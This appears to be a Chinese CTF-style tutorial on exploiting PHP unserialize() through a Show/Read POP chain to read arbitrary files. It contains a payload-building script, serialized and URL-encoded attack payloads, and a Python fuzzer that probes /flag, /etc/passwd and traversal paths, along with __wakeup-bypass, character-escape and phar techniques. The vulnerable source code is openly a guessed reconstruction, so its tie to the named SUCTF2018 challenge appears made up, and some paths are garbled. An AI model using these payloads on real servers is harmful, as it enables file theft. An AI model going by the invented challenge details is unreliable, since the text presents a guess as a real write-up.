ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

PHP反序列化漏洞实战:从原理到CTF任意文件读取利用

PHP反序列化漏洞实战:从原理到CTF任意文件读取利用

1. 项目概述与核心思路拆解

“BUUCTF [SUCTF2018]single dog 1” 这道题,在CTF圈子里算是个挺有意思的“入门级”Web题,尤其适合刚接触代码审计和PHP反序列化的朋友。我第一次看到这个标题,还以为是个什么“单身狗”的恶搞题,结果一进去发现,它其实是在用一种非常典型的方式,考察我们对PHP反序列化漏洞的理解,以及如何利用这个漏洞去读取服务器上的敏感文件(也就是我们常说的“任意文件读取”)。这道题的环境搭建在BUUCTF平台上,还原了当年SUCTF 2018比赛的原题场景,对于想从基础命令执行过渡到更复杂漏洞利用的选手来说,是个很好的练手材料。

简单来说,这道题的核心就是给你一个包含了PHP反序列化漏洞的网页,你需要通过构造特定的数据(我们称之为“反序列化链”或“POP链”),让服务器执行我们想要的代码,最终目标通常是读取服务器上一个名为flag的文件。整个过程不涉及复杂的绕过,更侧重于对反序列化原理和魔术方法触发条件的理解。如果你之前做过一些基础的unserialize()题目,那么这道题能帮你巩固思路;如果你是新手,那它就是一个绝佳的、脉络清晰的学习案例。

2. 题目环境初探与代码审计

拿到题目,第一步永远是信息收集。访问BUUCTF上对应的题目链接,我们通常会看到一个非常简洁的页面,可能只有几行代码,或者一个简单的表单。对于[SUCTF2018]single dog 1,其核心代码往往直接展示在页面上。

假设我们看到的源码是这样的(这是根据常见题型还原的典型结构):

<?php highlight_file(__FILE__); class Read { public $filename; public function __toString() { if (isset($this->filename)) { return file_get_contents($this->filename); } return "Please set filename!"; } } class Show { public $source; public function __construct($source) { $this->source = $source; } public function __toString() { return $this->source->__toString(); } } if (isset($_GET['source'])) { $s = unserialize($_GET['source']); echo $s; } else { $show = new Show(new Read()); $show->source->filename = ‘flag.php’; echo serialize($show); } ?>

我们来逐段拆解这段代码的逻辑和潜在的攻击面。

2.1 核心类与魔术方法解析

代码中定义了两个类:ReadShow

Read类

  • 有一个公有属性$filename
  • 定义了一个魔术方法__toString()。这个方法会在对象被当作字符串处理时自动调用。它的逻辑是:如果$filename属性被设置了,就使用file_get_contents()函数去读取这个文件名对应的文件内容并返回。否则,返回一个提示字符串。

关键点file_get_contents()是PHP中一个强大的文件读取函数,如果我们可以控制$filename的值,理论上就能读取服务器上的任意文件。这里就是整个漏洞利用的最终目标函数。

Show类

  • 有一个公有属性$source
  • 有一个构造函数__construct(),用于初始化$source属性。
  • 定义了一个魔术方法__toString()。当Show对象被当作字符串处理时,它会去调用其$source属性的__toString()方法。

2.2 程序执行流与漏洞触发点

代码底部的逻辑是题目的入口:

  1. 默认情况(无GET参数):如果用户访问页面时没有提供source这个GET参数,程序会执行else分支。

    • 实例化一个Show对象$show,并在构造时传入一个new Read()对象作为$source
    • $show->source->filename设置为‘flag.php’(注意,这里可能是一个提示,告诉我们flag在flag.php里,但实际比赛中,flag可能在根目录下的flag文件,也可能在其他地方,需要尝试)。
    • 最后,将$show对象进行序列化(serialize($show)),并输出这个序列化后的字符串。
    • 这实际上是题目在给我们一个“标准答案”的序列化结构,让我们理解对象是如何被组装和序列化的。
  2. 攻击入口(有GET参数):如果用户通过URL传递了source参数(例如?source=...),程序会执行if分支。

    • 获取$_GET[‘source’]的值。
    • 使用unserialize()函数对其进行反序列化,将字符串还原成PHP对象,赋值给$s
    • 最后,使用echo输出$s

漏洞触发点unserialize($_GET[‘source’])这一行是绝对的危险信号。它直接反序列化了用户可控的输入,没有任何过滤。这就是反序列化漏洞的典型特征。

2.3 漏洞利用链(POP Chain)构造思路

现在,我们需要把各个点串联起来,形成一条完整的攻击链(Property-Oriented Programming Chain)。

我们的目标是:让服务器执行file_get_contents(“/flag”)

利用链的推导过程如下:

  1. 最终目标:执行Read::__toString()方法,并且要让该对象内的$filename属性为我们可控的值(例如/flag./flag)。
  2. 如何触发Read::__toString()?根据PHP魔术方法规则,__toString()在对象被当作字符串时触发。在代码中,哪里会把对象当字符串呢?
    • echo $s;这一行。$sunserialize()的结果,如果$s是一个对象,那么echo会试图将它转换为字符串,从而触发该对象的__toString()方法。
    • 所以,如果我们能让$s最终成为一个Read对象,并且其$filename已设置,就能达成目标。
  3. 但是,直接反序列化一个Read对象可行吗?理论上可以,但题目可能没有直接给出Read类的定义?不,代码开头已经定义了。所以我们可以直接构造一个Read对象的序列化字符串,设置filenameflag。这似乎太简单了,不符合CTF题的风格。我们再看代码逻辑。
  4. 观察“标准答案”:题目在无参数时,序列化的是一个Show对象,而不是Read对象。这提示我们,预期的利用链可能涉及Show类。
  5. 串联ShowRead:看看Show::__toString()做了什么?它返回$this->source->__toString()。这意味着,当一个Show对象被当作字符串时,它会去调用其source属性的__toString()方法。
    • 那么,如果$s是一个Show对象,并且$s->source是一个Read对象,当echo $s时: a. 触发Show::__toString()。 b. 在Show::__toString()内部,执行$this->source->__toString(),即触发Read::__toString()。 c.Read::__toString()读取$this->filename指向的文件。
    • 完美!这样我们就通过Show类“桥接”到了Read类。

因此,我们需要构造的序列化数据,其结构应该是一个Show对象,其source属性值是一个Read对象,并且这个Read对象的filename属性被设置为目标文件路径。

3. 构造利用载荷(Payload)与实操

理解了原理,接下来就是动手构造Payload。我们可以自己写一个PHP脚本,也可以直接利用题目给出的“标准答案”进行修改。

3.1 方法一:基于题目代码本地构造

最清晰的方式是自己写一个脚本,模拟攻击。创建一个exp.php文件:

<?php class Read { public $filename; } class Show { public $source; } // 1. 创建Read对象,设置要读取的文件名 $read = new Read(); // 尝试读取根目录下的flag文件,常见位置 $read->filename = ‘/flag’; // 也可以尝试 ‘flag’, ‘./flag’, ‘…/…/…/flag’ 等 // 2. 创建Show对象,将Read对象赋值给其source属性 $show = new Show(); $show->source = $read; // 3. 序列化Show对象 $payload = serialize($show); echo “生成的Payload: \n”; echo $payload; echo “\n\n”; // 4. URL编码(可选,因为GET请求会自动处理一些字符,但为了安全最好编码) echo “URL编码后的Payload: \n”; echo urlencode($payload); ?>

运行这个脚本,你会得到类似下面的输出:

生成的Payload: O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}} URL编码后的Payload: O%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D

序列化字符串解读

  • O:4:“Show”:表示一个对象(Object),类名长度为4,类名是Show
  • :1::表示这个对象有1个属性。
  • {s:6:“source”;...}:花括号内是属性列表。第一个属性:s:6:“source”表示属性名是长度为6的字符串source;分号后是该属性的值。
  • 属性值O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}是另一个对象,结构同理。它有一个属性filename,其值为字符串/flag

3.2 方法二:利用题目输出进行修改

访问题目页面,不带任何参数,它会输出一个序列化字符串。这个字符串是题目预设的$show对象(其filename被设为‘flag.php’)。我们可以直接复制这个字符串,然后手动或写脚本修改其中的filename值。

假设题目输出是:O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:8:“flag.php”;}}

我们只需要把s:8:“flag.php”修改为s:5:“/flag”。注意,字符串长度的数字也必须对应修改,“flag.php”长度是8,“/flag”长度是5。所以将s:8:“flag.php”整体替换为s:5:“/flag”

得到Payload:O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}

重要提示:在手动修改序列化字符串时,务必确保长度值(s:后面的数字)与实际字符串的字符数完全一致,否则反序列化会失败。这是新手最容易出错的地方。

3.3 发起攻击获取Flag

将构造好的Payload通过source参数传递给题目URL。

假设题目URL是:http://target.com/index.php

那么完整的攻击URL就是:http://target.com/index.php?source=O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}

或者使用URL编码后的版本(更稳妥):http://target.com/index.php?source=O%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D

在浏览器中访问这个链接,如果一切顺利,服务器会:

  1. 接收source参数。
  2. 反序列化参数,还原出我们构造的ShowRead对象。
  3. 执行echo $s,触发Show::__toString()
  4. 进而触发Read::__toString()
  5. Read::__toString()执行file_get_contents(“/flag”)
  6. 文件内容(即flag)被读出,并通过echo显示在网页上。

4. 常见问题、技巧与深度拓展

在实际解题和后续类似题目中,你会遇到各种情况。下面是一些核心的注意事项和进阶技巧。

4.1 文件路径猜测与Fuzz

这道题直接读/flag可能就成功了。但在实际CTF中,flag的位置千奇百怪。你需要掌握文件路径Fuzz(模糊测试)的技巧。

常用flag位置列表

  • /flag
  • /flag.txt
  • /home/ctf/flag
  • /var/www/html/flag
  • ./flag(当前目录)
  • /etc/passwd(先读这个确认任意文件读取漏洞生效)
  • /proc/self/cwd/flag(读取进程当前工作目录下的flag)
  • ../../../flag(尝试目录穿越)

自动化Fuzz: 你可以写一个简单的Python脚本,使用requests库,循环尝试不同的路径。

import requests import urllib.parse url = “http://target.com/index.php” base_payload = ‘O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:XX:“PATH”;}}’ paths = [‘/flag’, ‘/flag.txt’, ‘./flag’, ‘…/…/…/flag’, ‘/etc/passwd’, ‘/proc/self/cwd/flag’] for path in paths: # 替换路径并计算长度 payload = base_payload.replace(‘PATH’, path).replace(‘XX’, str(len(path))) # URL编码 encoded_payload = urllib.parse.quote(payload) full_url = f”{url}?source={encoded_payload}” resp = requests.get(full_url) if “flag{“ in resp.text or “SUCTF{“ in resp.text or “{“ in resp.text: # 根据比赛格式调整 print(f”[+] Found flag at path: {path}“) print(resp.text) break else: print(f”[-] Trying {path}… No flag.”)

4.2 魔术方法__wakeup()的干扰

在更复杂的题目中,类里可能会定义__wakeup()魔术方法。这个方法在对象被反序列化时自动调用,优先于任何其他操作。出题人常常在__wakeup()里重置属性或进行过滤,从而打断我们的利用链。

例如,如果Read类变成了这样:

class Read { public $filename; public function __wakeup() { $this->filename = ‘default.txt’; // 重置filename,破坏我们的payload } public function __toString() { … } }

这时,我们的Payload在反序列化后,$filename会被__wakeup()重置,导致利用失败。

绕过__wakeup()的CVE(CVE-2016-7124): 在PHP 5.6.25之前和7.0.10之前的版本,如果序列化字符串中对象属性个数的值(O:4:“Show”:1:中的1大于实际属性个数,则__wakeup()方法将不会被执行

  • 对于上面的Show类,它只有1个属性source。我们可以把属性个数改成更大的数,比如2
  • 修改Payload:O:4:“Show”:2:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}
  • 注意,虽然属性个数写的是2,但我们只给出了1个属性(source)。在受影响的PHP版本中,这能绕过__wakeup()

注意:BUUCTF的题目环境通常是固定的,不一定存在此漏洞。但这是一种非常重要的绕过技巧,需要牢记。

4.3 反序列化字符逃逸与过滤绕过

有时,题目会对序列化字符串进行过滤或替换,例如将flag替换为空。这会破坏我们Payload的结构。

假设过滤函数:$data = str_replace(‘flag’, ‘’, $_GET[‘source’]);

我们的Payload…s:5:“/flag”…经过替换后变成了…s:5:“/”…,字符串长度还是5,但内容变成了“/”,长度对不上,导致反序列化失败。

利用“反序列化字符逃逸”进行绕过: 这种漏洞源于字符串替换操作改变了序列化字符串的总长度,但序列化结构本身是依靠长度值来解析的。我们可以通过精心构造,让被过滤的部分“吃掉”一些无关字符,使得后面我们真正的Payload能够被正确解析。

例如,如果过滤flag,我们可以构造这样的属性值: 原计划:filename = ‘/flag’我们可以改为:filename = ‘flagflagflagflag…’;s:8:“filename2”;s:5:“/real”;…经过替换后,所有的flag被删掉,字符串变短,可能会使得原本属于filename值的一部分字符,被解析器认为是下一个属性名或值,从而实现“逃逸”出被过滤的上下文,注入新的属性。

构造这类Payload需要精确计算长度偏移,是CTF中比较高级的考点。对于本题single dog 1而言,通常没有这么复杂的过滤,但了解这个原理对后续做题至关重要。

4.4 利用Phar协议进行反序列化

这是一种非常强大的“花式”反序列化技巧。当unserialize()点很难直接利用,但存在文件操作函数(如file_get_contents()include()file_exists()等)且参数部分可控时,可以考虑。

原理phar://协议在读取phar压缩包内的文件时,会自动解析其元数据(metadata)并进行反序列化。而metadata可以是任何序列化字符串。

利用步骤

  1. 构造一个包含恶意序列化数据作为metadata的phar文件。
  2. 将phar文件上传到服务器(或知道其路径)。
  3. 通过可控的参数,使用phar://协议去指向这个文件(例如file_get_contents(‘phar:///path/to/evil.phar/xxx’))。
  4. 服务器在解析phar文件时触发反序列化。

虽然这道题用不上,但它是PHP反序列化一个非常重要的扩展攻击面。

4.5 实战中的调试技巧

  1. 查看错误信息:如果题目开启了display_errors,反序列化失败会有Warning。仔细看错误信息,能帮你定位是类不存在、属性不匹配还是其他问题。
  2. 本地搭建环境:对于复杂的链,强烈建议在本地用相同版本的PHP搭建环境进行调试。用var_dump()print_r()打印反序列化后的对象结构,看是否和你预期一致。
  3. 逐步构造链:不要试图一次性构造出完整的、很长的POP链。先从最终要触发的危险函数(如file_get_contents)开始,往回推,一步一步测试每个环节的魔术方法是否能被成功触发。

5. 从本题延伸的PHP反序列化学习路径

解完这道题,你算是推开了PHP反序列化漏洞的一扇门。但要真正掌握,还需要系统性地学习和练习。

1. 夯实基础:

  • 理解序列化与反序列化:彻底搞懂serialize()unserialize()的格式,能肉眼解析简单的序列化字符串。
  • 掌握所有魔术方法:不仅仅是__toString,__wakeup,还有__destruct(析构函数,非常常用)、__call,__get,__set,__isset,__unset,__invoke(当对象被当作函数调用时触发)等。每一个都可能成为POP链的一环。

2. 学习经典POP链构造:

  • 研究知名PHP框架或库(如Laravel, ThinkPHP, Monolog等)中已知的反序列化利用链(Gadget Chains)。这些链通常由多个类的魔术方法巧妙连接而成。
  • 理解“小工具”(Gadget)的概念:一个类的一个方法,如果能被魔术方法触发,并且其功能有用(如能执行命令、写文件),它就是一个Gadget。POP链就是寻找一条从反序列化入口到危险Gadget的调用路径。

3. 掌握高级利用技巧:

  • 字符逃逸:如前所述,是应对过滤的关键。
  • Phar反序列化:必须掌握的扩展攻击面。
  • 原生类利用:PHP内置的类(如SplFileObject,Error/Exception)有时也能被用来构造利用链,例如Error类的__toString方法会输出调用栈,可能泄露路径信息。

4. 工具辅助:

  • PHPGGC:一个强大的工具,收集了各种PHP反序列化链的Payload生成器。对于已知框架的漏洞,可以直接生成利用代码。
  • 代码审计工具:虽然不能完全依赖,但像RIPSFortify等静态分析工具能帮你快速定位代码中的unserialize()点。

5. 大量练习:

  • 在BUUCTF、CTFHub、攻防世界等平台上,专门找反序列化的题目练习。
  • 从易到难:先做这种单点、链条清晰的题(如本题),再做涉及多个类、需要挖掘框架链的题,最后挑战有过滤、需要字符逃逸的题。

这道[SUCTF2018]single dog 1就像是一道经典的“开胃菜”,它味道纯粹,直指核心。它告诉你,反序列化的本质就是“控制数据,控制逻辑”。当你再遇到更复杂的题目时,不妨回想一下这道题的思路:找到反序列化入口,分析可用类及其魔术方法,画出可能的调用关系图,然后像拼积木一样,把通往危险函数的路径一块块搭起来。这个过程,就是CTF中最迷人的“解谜”乐趣所在。

返回列表